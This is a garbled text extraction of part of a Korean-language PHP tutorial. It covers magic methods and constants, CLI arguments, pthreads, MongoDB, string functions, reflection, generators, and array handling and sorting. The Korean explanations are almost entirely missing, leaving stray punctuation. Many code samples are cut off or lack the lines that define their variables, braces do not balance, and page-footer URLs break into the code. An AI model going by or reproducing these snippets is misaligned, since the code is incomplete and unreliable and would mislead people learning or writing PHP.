// do something with that information here, like overloading
// or something generic.
// For sake of example let's say we're making a generic class,
// that holds some data and allows user to get/set/has via
// getter/setter methods. Also let's assume that there is some
// CaseHelper which helps to convert camelCase into snake_case.
// Also this method is simplified, so it does not check if there
// is a valid name or
$snakeName = CaseHelper::camelToSnake($method);
// Get get/set/has prefix
$subMethod = substr($snakeName, 0, 3);
switch ($subMethod) {
case "get":
return $this->data[$propertyName];
case "set":
$this->data[$propertyName] = $arguments[0];
break;
case "has":
return isset($this->data[$propertyName]);
default:
throw new BadMethodCallException("Undefined method $method");
}
}
https://riptutorial.com/ko/home 178
/**
* __callStatic will be called from static content, that is, when calling a nonexistent
* static method:
*
* Foo::buildSomethingCool($arg);
*
* First argument will contain the method name(in example above it will be
"buildSomethingCool"),
* and the second will contain the value $arg in an array.
*
* Note that signature of this method is different(requires static keyword). This method
was not
* available prior PHP 5.3
*/
public static function __callStatic($method, $arguments)
{
// This method can be used when you need something like generic factory
// or something else(to be honest use case for this is not so clear to me).
print_r(func_get_args());
}
}
$instance->setSomeState("foo");
var_dump($instance->hasSomeState()); // bool(true)
var_dump($instance->getSomeState()); // string "foo"
Foo::exampleStaticCall("test");
// outputs:
Array
(
[0] => exampleCallStatic
[1] => test
)
__sleep () __wakeup ()
__wakeup unserialize . .
class Sleepy {
public $tableName;
public $tableFields;
public $dbConnection;
/**
* This magic method will be invoked by serialize function.
* Note that $dbConnection is excluded.
*/
public function __sleep()
{
https://riptutorial.com/ko/home 179
// Only $this->tableName and $this->tableFields will be serialized.
return ['tableName', 'tableFields'];
}
/**
* This magic method will be called by unserialize function.
*
* For sake of example, lets assume that $this->c, which was not serialized,
* is some kind of a database connection. So on wake up it will get reconnected.
*/
public function __wakeup()
{
// Connect to some default database and store handler/wrapper returned into
// $this->dbConnection
$this->dbConnection = DB::connect();
}
}
__ ()
class DeepThought {
public function __debugInfo() {
return [42];
}
}
5.6
var_dump(new DeepThought());
5.6
var_dump(new DeepThought());
__clone ()
__clone clone . .
https://riptutorial.com/ko/home 180
class CloneableUser
{
public $name;
public $lastName;
/**
* This method will be invoked by a clone operator and will prepend "Copy " to the
* name and lastName properties.
*/
public function __clone()
{
$this->name = "Copy " . $this->name;
$this->lastName = "Copy " . $this->lastName;
}
}
: https://riptutorial.com/ko/php/topic/1127/-
https://riptutorial.com/ko/home 181
51:
__CONSTANTNAME__ .
8 . , __LINE__ .
__LINE__ .
__FILE__ . .
__FUNCTION__
__TRAIT__ . ( : Foo\Bar ).
__METHOD__ .
__NAMESPACE__ .
Examples
__FUNCTION__ __METHOD__
__FUNCTION__ __METHOD__ .
<?php
class trick
{
public function doit()
{
echo __FUNCTION__;
}
https://riptutorial.com/ko/home 182
__CLASS__, get_class () get_called_class ().
, get_class($this) get_called_class() .
<?php
class Definition_Class {
$c = new Actual_Class();
$c->say();
// Output:
// __CLASS__ value: Definition_Class
// get_called_class() value: Actual_Class
// get_class($this) value: Actual_Class
// get_class() value: Definition_Class
__FILE__ PHP . / .
__DIR__ .
dirname(__FILE__) .
PHP .
https://riptutorial.com/ko/home 183
$view = 'page';
$viewFile = BASEDIR . '/views/' . $view;
Windows / in DIRECTORY_SEPARATOR .
PHP .
$view = 'page';
$viewFile = BASEDIR . DIRECTORY_SEPARATOR .'views' . DIRECTORY_SEPARATOR . $view;
: https://riptutorial.com/ko/php/topic/1428/-
https://riptutorial.com/ko/home 184
52:
Examples
.
if(isset($_REQUEST['action']))
{
switch($_REQUEST['action'])
{ //Setting the Header based on which button is clicked
case 'getState':
header("Location: http://NewPageForState.com/getState.php?search=" .
$_POST['search']);
break;
case 'getProject':
header("Location: http://NewPageForProject.com/getProject.php?search=" .
$_POST['search']);
break;
}
else
{
GetSearchTerm(!NULL);
}
//Forms to enter a State or Project and click search
function GetSearchTerm($success)
{
if (is_null($success))
{
echo "<h4>You must enter a state or project number</h4>";
}
echo "<center><strong>Enter the State to search for</strong></center><p></p>";
//Using the $_SERVER['PHP_SELF'] keeps us on this page till the switch above determines
where to go
echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data'
method='POST'>
<input type='hidden' name='action' value='getState'>
<center>State: <input type='text' name='search' size='10'></center><p></p>
<center><input type='submit' name='submit' value='Search State'></center>
</form>";
GetSearchTermProject($success);
}
function GetSearchTermProject($success)
{
echo "<center><br><strong>Enter the Project to search for</strong></center><p></p>";
echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data'
method='POST'>
<input type='hidden' name='action' value='getProject'>
<center>Project Number: <input type='text' name='search'
size='10'></center><p></p>
<center><input type='submit' name='submit' value='Search Project'></center>
</form>";
}
?>
https://riptutorial.com/ko/home 185
: https://riptutorial.com/ko/php/topic/3717/-
https://riptutorial.com/ko/home 186
53:
pthreads cli SAPI pthreads PHP7 Pthreads v3 extension=pthreads.so php-cli.ini
.
php \ php.ini :
extension=php_pthreads.dll
extension=pthreads.so
php.ini ( /etc/php.ini ).
Examples
, php pthreads-ext .
php.ini .
<?php
// NOTE: Code uses PHP7 semantics.
class MyThread extends Thread {
/**
* @var string
* Variable to contain the message to be displayed.
*/
private $message;
// Instantiate MyThread
https://riptutorial.com/ko/home 187
$myThread = new MyThread("Hello from an another thread!");
// Start the thread. Also it is always a good practice to join the thread explicitly.
// Thread::start() is used to initiate the thread,
$myThread->start();
// and Thread::join() causes the context to wait for the thread to finish executing
$myThread->join();
<?php
// This is the *Work* which would be ran by the worker.
// The work which you'd want to do in your worker.
// This class needs to extend the \Threaded or \Collectable or \Thread class.
class AwesomeWork extends Thread {
private $workName;
/**
* @param string $workName
* The work name wich would be given to every work.
*/
public function __construct(string $workName) {
// The block of code in the constructor of your work,
// would be executed when a work is submitted to your pool.
$this->workName = $workName;
printf("A new work was submitted with the name: %s\n", $workName);
}
https://riptutorial.com/ko/home 188
$pool->submit(new \AwesomeWork("FatalWork"));
: https://riptutorial.com/ko/php/topic/1583/---
https://riptutorial.com/ko/home 189
54: (CLI)
Examples
C . $argc $argv . $argv .
#!/usr/bin/php
2 example.php .
1 foo.
2.
"" \ .
var_dump($argc, $argv);
$ php argc.argv.php --this-is-an-option three\ words\ together or "in one quote" but\
multiple\ spaces\ counted\ as\ one
int(6)
array(6) {
[0]=>
string(13) "argc.argv.php"
[1]=>
string(19) "--this-is-an-option"
[2]=>
string(20) "three words together"
[3]=>
string(2) "or"
[4]=>
string(12) "in one quote"
[5]=>
string(34) "but multiple spaces counted as one"
}
PHP -r :
$ php -r 'var_dump($argv);'
array(1) {
[0]=>
string(1) "-"
}
https://riptutorial.com/ko/home 190
php STDIN :
#!/usr/bin/php
fclose($stdout);
exit .
#!/usr/bin/php
https://riptutorial.com/ko/home 191
if ($argv[1] === "bad") {
exit(1);
} else {
exit(0);
}
#!/usr/bin/php
// options with values can be called like "-f foo", "-ffoo", or "-f=foo"
$file = "";
if (isset($opts["f"])) {
$file = $opts["f"];
}
if (empty($file)) {
fprintf(STDERR, "We wanted a file!" . PHP_EOL);
exit(1);
}
fprintf(STDOUT, "File is %s" . PHP_EOL, $file);
https://riptutorial.com/ko/home 192
// there is no automated way for getopt to handle unexpected options
./test.php --help
./test.php --version
./test.php -f foo -ddd
./test.php -v -d -ffoo
./test.php -v5 -f=foo
./test.php -f foo -v 5 -d
-v 5 .
drupal_is_cli() .
function drupal_is_cli() {
return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' ||
(is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}
c:\php\php.exe "%~dp0example.php" %*
PHP PATH .
https://riptutorial.com/ko/home 193
php "%~dp0example.php" %*
CLI PHP . . .
php -S :
index.php .
<?php
echo "Hello World from built-in PHP server";
. http://localhost:8080 http://localhost:8080
getopt ()
getopt .
getopt.php
var_dump(
getopt("ab:c::", ["delta", "epsilon:", "zeta::"])
);
$ php getopt.php -a -a -bbeta -b beta -cgamma --delta --epsilon --zeta --zeta=f -c gamma
array(6) {
["a"]=>
array(2) {
[0]=>
bool(false)
[1]=>
bool(false)
}
["b"]=>
array(2) {
[0]=>
string(4) "beta"
[1]=>
string(4) "beta"
https://riptutorial.com/ko/home 194
}
["c"]=>
array(2) {
[0]=>
string(5) "gamma"
[1]=>
bool(false)
}
["delta"]=>
bool(false)
["epsilon"]=>
string(6) "--zeta"
["zeta"]=>
string(1) "f"
}
• ( ) false .
• getopt .
• ( ) ( ) .
• .
(CLI) : https://riptutorial.com/ko/php/topic/2880/----cli-
https://riptutorial.com/ko/home 195
55: - PHP
1. ()
Examples
MongoDB PHP
Php
php -v PHP .
PHP 7.0.6 (cli) (built: Apr 28 2016 14:12:14) ( ZTS ) Copyright (c) 1997-2016 The PHP Group Zend
Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
MongoDB
mongo MongoDB mongo --version MongoDB shell version: 3.2.6 MongoDB shell version: 3.2.6
PHP MongoDB
<?php
//This path should point to Composer's autoloader from where your MongoDB library will be
loaded
require 'vendor/autoload.php';
https://riptutorial.com/ko/home 196
// when using default settings
try {
$mongo = new MongoDB\Client('mongodb://localhost:27017');
print_r($mongo->listDatabases());
} catch (Exception $e) {
echo $e->getMessage();
}
MongoDB CREATE ()
<?php
MongoDB ()
<?php
//use find() method to query for records, where parameter will be array containing key value
pair we need to find.
$result = $collection->find( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] );
?>
MongoDB
<?php
https://riptutorial.com/ko/home 197
print_r($result->ok);
?>
$collection . MongoDB .
- PHP : https://riptutorial.com/ko/php/topic/6794/---php
https://riptutorial.com/ko/home 198
56:
.
Examples
explode strstr .
explode .
$fruits = "apple,pear,grapefruit,cherry";
print_r(explode(",",$fruits)); // ['apple', 'pear', 'grapefruit', 'cherry']
$fruits= 'apple,pear,grapefruit,cherry';
limit 0 1 .
print_r(explode(',',$fruits,0)); // ['apple,pear,grapefruit,cherry']
limit .
$email = "[email protected]";
list($name, $domain) = explode("@", $email);
explode .
strstr strstr .
$string = "1:23:456";
echo json_encode(explode(":", $string)); // ["1","23","456"]
var_dump(strstr($string, ":")); // string(7) ":23:456"
strpos
https://riptutorial.com/ko/home 199
strpos .
https://riptutorial.com/ko/home 200
for($offset = 0;
// If our offset is beyond the range of the
// string, don't search anymore.
// If this condition is not set, a warning will
// be triggered if $haystack ends with $needle
// and $needle is only one byte long.
$offset < strlen($haystack); ){
$pos = strpos($haystack, $needle, $offset);
// we don't have anymore substrings
if($pos === false) break;
$offsets[] = $pos;
// You may want to add strlen($needle) instead,
// depending on whether you want to count "aaa"
// as 1 or 2 "aa"s.
$offset = $pos + 1;
}
echo json_encode($offsets); // [0,8,15,25]
preg_match . , .
Array
(
[0] => <a href="http://example.org">My Link</a>
[1] => http://example.org
[2] => My Link
)
start length .
mb_substr .
$cake = "cakeæøå";
var_dump(substr($cake, 0, 5)); // string(5) "cake�"
var_dump(mb_substr($cake, 0, 5, 'UTF-8')); // string(6) "cakeæ"
substr_replace .
https://riptutorial.com/ko/home 201
Regex .
// If the casing in the text is not important, then using strtolower helps to compare strings
var_dump(substr($hi, 0, strpos($hi, " ")) == 'hello'); // bool(false)
var_dump(strtolower(substr($hi, 0, strpos($hi, " "))) == 'hello'); // bool(true)
$email = "[email protected]";
$wrong = "foobar.co.uk";
$notld = "foo@bar";
https://riptutorial.com/ko/home 202
var_dump(substr($blurb, 0, $limit - 3) . '...'); // string(20) "Lorem ipsum dolor..."
: https://riptutorial.com/ko/php/topic/2206/--
https://riptutorial.com/ko/home 203
57:
Examples
/
() . . . , substr
PHP 0 .
. . , substr_replace
( ) . heredoc .
$name = 'Joel';
// Single Quotes: outputs $name as the raw text (without interpreting it)
echo 'Hello $name, Nice to see you.'; # Careful with this notation
#> "Hello $name, Nice to see you."
() {} . .
$name = 'Joel';
// Example using the curly brace syntax for the variable $name
echo "<p>We need more {$name}s to help us!</p>";
#> "<p>We need more Joels to help us!</p>"
https://riptutorial.com/ko/home 204
#> "Notice: Undefined variable: names"
{} $ . {} PHP .
{} , , / .
// Example of invoking a Closure — the parameter list allows for custom expressions
$greet = function($num) {
return "A $num greetings!";
};
echo "From us all: {$greet(10 ** 3)}";
#> "From us all: A 1000 greetings!"
$ { , , , :
$name = 'Joel';
// Example using the curly brace syntax with dollar sign before the opening curly brace
echo "<p>We need more ${name}s to help us!</p>";
#> "<p>We need more Joels to help us!</p>"
https://riptutorial.com/ko/home 205
: https://riptutorial.com/ko/php/topic/6696/--
https://riptutorial.com/ko/home 206
58:
Examples
private protected
/ . . Reflection .
. . getter setter .
class Car
{
protected $color
/**
* @test
* @covers \Car::setColor
*/
public function testSetColor()
{
$color = 'Red';
$this->assertEquals($color, $reflectionColor);
}
. Car::getColor() Car::$color . .
1. Car::getColor() .
2. Car::getColor() . .
class Car
{
protected $color
https://riptutorial.com/ko/home 207
public function setColor($color)
{
$this->color = $color;
}
/**
* @test
* @covers \Car::setColor
*/
public function testSetColor()
{
$color = 'Red';
$this->assertEquals($color, $reflectionColor);
}
Reflection Car::$color .
1. Car ReflectionObject .
2. Car::$color ReflectionProperty ( "this" Car::$color )
3. Car::$color .
4. Car::$color .
property_exists method_exists .
class MyClass {
public $public_field;
protected $protected_field;
private $private_field;
static $static_field;
const CONSTANT = 0;
public function public_function() {}
protected function protected_function() {}
https://riptutorial.com/ko/home 208
private function private_function() {}
static function static_function() {}
}
// check properties
$check = property_exists('MyClass', 'public_field'); // true
$check = property_exists('MyClass', 'protected_field'); // true
$check = property_exists('MyClass', 'private_field'); // true, as of PHP 5.3.0
$check = property_exists('MyClass', 'static_field'); // true
$check = property_exists('MyClass', 'other_field'); // false
// check methods
$check = method_exists('MyClass', 'public_function'); // true
$check = method_exists('MyClass', 'protected_function'); // true
$check = method_exists('MyClass', 'private_function'); // true
$check = method_exists('MyClass', 'static_function'); // true
// however...
$check = property_exists('MyClass', 'CONSTANT'); // false
$check = property_exists($object, 'CONSTANT'); // false
ReflectionClass .
$r = new ReflectionClass('MyClass');
$check = $r->hasProperty('public_field'); // true
$check = $r->hasMethod('public_function'); // true
$check = $r->hasConstant('CONSTANT'); // true
// also works for protected, private and/or static members.
class Car
{
/**
* @param mixed $argument
*
* @return mixed
*/
protected function drive($argument)
{
return $argument;
}
/**
* @return bool
*/
private static function stop()
{
return true;
}
}
https://riptutorial.com/ko/home 209
class DriveTest
{
/**
* @test
*/
public function testDrive()
{
// prepare
$argument = 1;
$expected = $argument;
$car = new \Car();
// invoke logic
$result = $method->invokeArgs($car, [$argument]);
// test
$this->assertEquals($expected, $result);
}
}
null .
class StopTest
{
/**
* @test
*/
public function testStop()
{
// prepare
$expected = true;
// invoke logic
$result = $method->invoke(null);
// test
$this->assertEquals($expected, $result);
}
}
: https://riptutorial.com/ko/php/topic/685/
https://riptutorial.com/ko/home 210
59:
Examples
?
. Iterator .
return $array;
}
$startMemory = memory_get_usage();
$randomNumbers = randomNumbers(1000000);
100 . .
randomNumbers () .
randomNumbers() .
<?php
https://riptutorial.com/ko/home 211
. CSV . CSV .
<?php
class CsvReader
{
protected $file;
yield $row;
}
return;
}
}
function gen_one_to_three() {
for ($i = 1; $i <= 3; $i++) {
// Note that $i is preserved between yields.
yield $i;
}
}
var_dump Generator .
var_dump(gen_one_to_three())
# Outputs:
class Generator (0) {
}
Generator .
https://riptutorial.com/ko/home 212
.
1
2
3
/ .
function gen_one_to_three() {
$keys = ["first", "second", "third"];
first: 1
second: 2
third: 3
send () -
. . send() . .
//Imagining accessing a large amount of data from a server, here is the generator for this:
function generateDataFromServerDemo()
{
$indexCurrentRun = 0; //In this example in place of data from the server, I just send
feedback everytime a loop ran through.
$timeout = false;
while (!$timeout)
{
$timeout = yield $indexCurrentRun; // Values are passed to caller. The next time the
generator is called, it will start at this statement. If send() is used, $timeout will take
this value.
$indexCurrentRun++;
}
https://riptutorial.com/ko/home 213
{
echo $numberOfRuns . "</br>";
}
else
{
$generatorDataFromServer->send(true); //sending data to the generator
echo $generatorDataFromServer->current(); //accessing the latest element (hinting how
many bytes are still missing.
}
}
: https://riptutorial.com/ko/php/topic/1684/
https://riptutorial.com/ko/home 214
60:
. PHP . map .
key ( null , ). .
•
•
•
•
Examples
. empty :
// An empty array
$foo = array();
( ) .
https://riptutorial.com/ko/home 215
// A simple associative array
$fruit = array(
'first' => 'apples',
'second' => 'pears',
'third' => 'oranges'
);
PHP . .
. PHP .
$foo = [2 => 'apple', 'melon']; // Array( [2] => apple, [3] => melon )
$foo = ['2' => 'apple', 'melon']; // same as above
$foo = [2 => 'apple', 'this is index 3 temporarily', '3' => 'melon']; // same as above! The
last entry will overwrite the second!
SplFixedArray .
$array[0] = 1;
$array[1] = 2;
$array[2] = 3;
$array[3] = 4; // RuntimeException
: SplFixedArray .
n (: ) .
$myArray = array();
$sizeOfMyArray = 5;
https://riptutorial.com/ko/home 216
$fill = 'placeholder';
array_fill() .
: start_index 0.
$a = array_fill(5, 6, 'banana'); // Array ( [5] => banana, [6] => banana, ..., [10] => banana)
$b = array_fill(-2, 4, 'pear'); // Array ( [-2] => pear, [0] => pear, ..., [2] => pear)
: array_fill() array_fill() . .
( : 1-4) range() .
$array = [];
$array_with_range = range(1, 4);
print_r($array); // Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )
print_r($array_with_range); // Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )
$map = [
'foo' => 1,
'bar' => null,
'foobar' => '',
];
https://riptutorial.com/ko/home 217
isset($map['foo']); // true
!empty($map['foo']); // true
isset() null . !empty() false ( : null , '' 0 !empty() false ). while isset($map['foobar']);
true !empty($map['foobar']) false . ( , '0' false ) !empty() .
isset() array_key_exists() .
array_key_exists() key_exists() .
in_array() true .
array_search() .
$userdb = [
https://riptutorial.com/ko/home 218
[
"uid" => '100',
"name" => 'Sandra Shush',
"url" => 'urlof100',
],
[
"uid" => '5465',
"name" => 'Stefanie Mcmohn',
"pic_square" => 'urlof100',
],
[
"uid" => '40489',
"name" => 'Michael',
"pic_square" => 'urlof40489',
]
];
is_array() true .
$integer = 1337;
$array = [1337, 42];
is_array($integer); // false
is_array($array); // true
hint . .
gettype() .
$integer = 1337;
$array = [1337, 42];
ArrayAccess Iterator
ArrayAccess
. UserCollection .
1.
2. ( CRUD , )
( 5.4 [] ).
https://riptutorial.com/ko/home 219
protected $_conn;
$connectionParams = [
//your connection to the database
];
return $ret;
}
https://riptutorial.com/ko/home 220
var_dump(empty($users['testuser']),isset($users['testuser']));
$users['testuser'] = ['username' => 'testuser',
'password' => 'testpassword',
'email' => '[email protected]'];
var_dump(empty($users['testuser']), isset($users['testuser']), $users['testuser']);
unset($users['testuser']);
var_dump(empty($users['testuser']), isset($users['testuser']));
testuser .
bool(true)
bool(false)
bool(false)
bool(true)
array(17) {
["username"]=>
string(8) "testuser"
["password"]=>
string(12) "testpassword"
["email"]=>
string(13) "[email protected]"
}
bool(true)
bool(false)
var_dump(array_key_exists('testuser', $users));
$users['testuser'] = ['username' => 'testuser',
'password' => 'testpassword',
'email' => '[email protected]'];
var_dump(array_key_exists('testuser', $users));
iterator . $_position .
, Iterator .
https://riptutorial.com/ko/home 221
$this->_position++;
}
public function rewind () {
$this->_position = 1;
}
public function valid () {
return null !== $this->_getById($this->_position);
}
// END of methods required by Iterator interface
. . ID . ArrayAccess Iterator .
// <add the old methods from the last code snippet here>
foreach :
string(2) "1"
string(2) "2"
string(2) "3"
string(2) "4"
...
$username = 'Hadibut';
$email = '[email protected]';
https://riptutorial.com/ko/home 222
.
: https://riptutorial.com/ko/php/topic/204/
https://riptutorial.com/ko/home 223
61:
• for ($ i = 0; $ i <count ($ array); $ i ++) {incremental_iteration (); }
• for ($ i = count ($ array) - 1; $ i> = 0; $ i--) {reverse_iteration (); }
• foreach ($ data as $ datum) {}
• foreach ($ data => $ datum) {}
• foreach ($ data as $ datum) {}
foreach .
foreach .
for . :
( , )
Examples
. .
array_map .
array_map(function($person, $food) {
return "$person likes $food\n";
}, $people, $foods);
array_values($array)[$i] $array[$i] .
foreach-with-key .
https://riptutorial.com/ko/home 224
foreach ($people as $index => $person) {
$food = $foods[$index];
echo "$person likes $food\n";
}
., . .
array_combine .
0 .
array_reverse .
alpha
beta
gamma
beta
zeta
epsilon
https://riptutorial.com/ko/home 225
( , [1 => "foo", 0 => "bar"] , ["foo" => "f", "bar" => "b"] ), . array_values array_keys .
$array = ["a" => "alpha", "b" => "beta", "c" => "gamma", "d" => "delta"];
$keys = array_keys($array);
for ($i = 0; $i < count($array); $i++) {
$key = $keys[$i];
$value = $array[$key];
echo "$value is $key\n";
}
. .
each
each() each() .
next
false . key .
class ColorPicker {
private $colors = ["#FF0064", "#0064FF", "#64FF00", "#FF6400", "#00FF64", "#6400FF"];
public function nextColor() : string {
$result = next($colors);
// if end of array reached
if (key($colors) === null) {
reset($colors);
}
return $result;
}
}
https://riptutorial.com/ko/home 226
foreach
0 => 1
2 => 3
4 => 5
6 => 7
https://riptutorial.com/ko/home 227
foreach ($array as $key => &$value) {
if ($key === 0) {
$array[6] = 17;
unset($array[4]);
}
echo "$key => $value\n";
}
0 => 1
2 => 3
6 => 17
ArrayObject
Php .
$array = ['1' => 'apple', '2' => 'banana', '3' => 'cherry'];
$iterator = $arrayObject->getIterator();
1 => apple
2 => banana
3 => cherry
: https://riptutorial.com/ko/php/topic/5727/-
https://riptutorial.com/ko/home 228
62:
Examples
, 1 .
unset . $fruit 0 2 .
print_r($fruit);
/*
Array
(
[0] => banana
[one] => apple
[1] => peaches
)
*/
unset($fruit['one']);
$.
print_r($fruit);
/*
Array
(
[0] => banana
[1] => peaches
)
*/
unset($fruit);
., .
array_shift () - .
https://riptutorial.com/ko/home 229
print_r($fruit);
Array
(
[0] => apples
[1] => peaches
)
array_pop () - .
Array
(
[0] => bananas
[1] => apples
)
array_filter .
"" .
$my_array = [1,0,2,null,3,'',4,[],5,6,7,8];
$non_empties = array_filter($my_array); // $non_empties will contain [1,2,3,4,5,6,7,8];
. .
$my_array = [1,2,3,4,5,6,7,8];
array_filter .
5.6
https://riptutorial.com/ko/home 230
$numbers = [16,3,5,8,1,4,6];
<?php
$my_array = [1,0,2,null,3,'',4,[],5,6,7,8];
$filtered = array_filter($my_array);
/*
Output:
1
Notice: Undefined offset: 1
2
Notice: Undefined offset: 3
3
Notice: Undefined offset: 5
4
Notice: Undefined offset: 7
*/
1 ( 0 ), 3 ( null ), 5 ( '' ) 7( [] ) .
array_filter array_values .
$my_array = [1,0,2,null,3,'',4,[],5,6,7,8];
$filtered = array_filter($my_array);
$iterable = array_values($filtered);
// No warnings!
( ) . array_unshift() .
array_unshift() . . 0 .
array_unshift() PHP .
https://riptutorial.com/ko/home 231
$myArray = array(1, 2, 3);
array_unshift($myArray, 4);
4 . .
print_r($myArray);
: 4, 1, 2, 3 .
array_unshift - n+1 . .
($ joinedArray) :
Array ( [0] => oranges [1] => apples [2] => bananas [3] => pears )
Eaxmple / Demo
( ) array_intersect_key array_flip .
$parameters = ['foo' => 'bar', 'bar' => 'baz', 'boo' => 'bam'];
$allowedKeys = ['foo', 'bar'];
$filteredParameters = array_intersect_key($parameters, array_flip($allowedKeys));
parameters filteredParameters .
https://riptutorial.com/ko/home 232
PHP :
()
.
Array
(
[0] => Apfel
[1] => Banane
[2] => Orange
[3] => Zitrone
)
rsort ()
.
Array
(
[0] => Zitrone
[1] => Orange
[2] => Banane
[3] => Apfel
)
asort ()
indecies .
https://riptutorial.com/ko/home 233
Array
(
[4] => apple
[3] => banana
[1] => lemon
[2] => orange
)
arsort ()
indecies .
Array
(
[2] => orange
[1] => lemon
[3] => banana
[4] => apple
)
ksort ()
$fruits = ['d'=>'lemon', 'a'=>'orange', 'b'=>'banana', 'c'=>'apple'];
ksort($fruits);
print_r($fruits);
Array
(
[a] => orange
[b] => banana
[c] => apple
[d] => lemon
)
krsort ()
.
https://riptutorial.com/ko/home 234
print_r($fruits);
Array
(
[d] => lemon
[c] => apple
[b] => banana
[a] => orange
)
natsort ()
( ).
Array
(
[4] => File2.stack
[0] => File8.stack
[2] => file7.stack
[3] => file13.stack
[1] => file77.stack
)
natcasesort ()
()
Array
(
[4] => File2.stack
[2] => file7.stack
[0] => File8.stack
[3] => file13.stack
[1] => file77.stack
)
https://riptutorial.com/ko/home 235
()
( ).
Array
(
[0] => cc
[1] => bb
[2] => aa
)
usort ()
.
Array
(
[0] => 1
[1] => 2
[2] => 3
[3] => 5
[4] => 6
)
uasort ()
.
https://riptutorial.com/ko/home 236
function compare($a, $b)
{
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}
$array = ['a' => 1, 'b' => -3, 'c' => 5, 'd' => 3, 'e' => -5];
uasort($array, 'compare');
print_r($array);
Array
(
[e] => -5
[b] => -3
[a] => 1
[d] => 3
[c] => 5
)
uksort ()
.
$array = ['ee' => 1, 'g' => -3, '4' => 5, 'k' => 3, 'oo' => -5];
uksort($array, 'compare');
print_r($array);
Array
(
[ee] => 1
[g] => -3
[k] => 3
[oo] => -5
[4] => 5
)
array_flip .
https://riptutorial.com/ko/home 237
$colors = array(
'one' => 'red',
'two' => 'blue',
'three' => 'yellow',
);
array(
'red' => 'one',
'blue' => 'two',
'yellow' => 'three'
)
$a1 = array("red","green");
$a2 = array("blue","yellow");
print_r(array_merge($a1,$a2));
/*
Array ( [0] => red [1] => green [2] => blue [3] => yellow )
*/
$a1=array("a"=>"red","b"=>"green");
$a2=array("c"=>"blue","b"=>"yellow");
print_r(array_merge($a1,$a2));
/*
Array ( [a] => red [b] => yellow [c] => blue )
*/
1. . .
2. . .
3. 0 .
: https://riptutorial.com/ko/php/topic/6825/-
https://riptutorial.com/ko/home 238
63:
Examples
array_map() array_map() . .
$array = array(1,2,3,4,5);
//each array item is iterated over and gets stored in the function parameter.
$newArray = array_map(function($item) {
return $item + 1;
}, $array);
$newArray array(2,3,4,5,6); .
. .
function addOne($item) {
return $item + 1;
}
class Example {
public function addOne($item) {
return $item + 1;
}
array_walk() array_walk_recursive() . / . . , :
value .
https://riptutorial.com/ko/home 239
$array array(2,3,4,5,6);
array_walk_recursive() .
: array_walk array_walk_recursive . .
array_chunk () .
PHP array_chunk () ,
2 .
Array
(
[0] => Array
(
[0] => a
[1] => b
)
1 E_WARNING NULL .
https://riptutorial.com/ko/home 240
$ array (array) ,
$ size (int) ()
Imploding
implode() :
$arr = ['a' => "AA", 'b' => "BB", 'c' => "CC"];
Imploding array_keys() .
$arr = ['a' => "AA", 'b' => "BB", 'c' => "CC"];
Imploding .
$arr = ['a' => "AA", 'b' => "BB", 'c' => "CC"];
array_reduce
• $ carry .
• $ item .
: 15
: 211
https://riptutorial.com/ko/home 241
100 ?
: true
100 ?
: true
: "hello-world-PHP-language"
implode .
: "hello-world-PHP-language"
list () ""
list () . compact () .
// Assigns to $a, $b and $c the values of their respective array elements in $array
with keys numbered from zero
list($a, $b, $c) = $array;
PHP 7.1 ( ) .
// Assigns to $a, $b and $c the values of their respective array elements in $array with keys
numbered from zero
[$a, $b, $c] = $array;
// Assigns to $a, $b and $c the values of the array elements in $array with the keys "a", "b"
and "c", respectively
https://riptutorial.com/ko/home 242
["a" => $a, "b" => $b, "c" => $c] = $array;
array_push .
$array = [1,2,3];
$newArraySize = array_push($array, 5, 6); // The method returns the new size of the array
print_r($array); // Array is passed by reference, therefore the original array is modified to
contain the new elements
Array
(
[0] => 1
[1] => 2
[2] => 3
[3] => 5
[4] => 6
)
$array[] = :
$array = [1,2,3];
$array[] = 5;
$array[] = 6;
print_r($array);
Array
(
[0] => 1
[1] => 2
[2] => 3
[3] => 5
[4] => 6
)
: https://riptutorial.com/ko/php/topic/6826/--
https://riptutorial.com/ko/home 243
64:
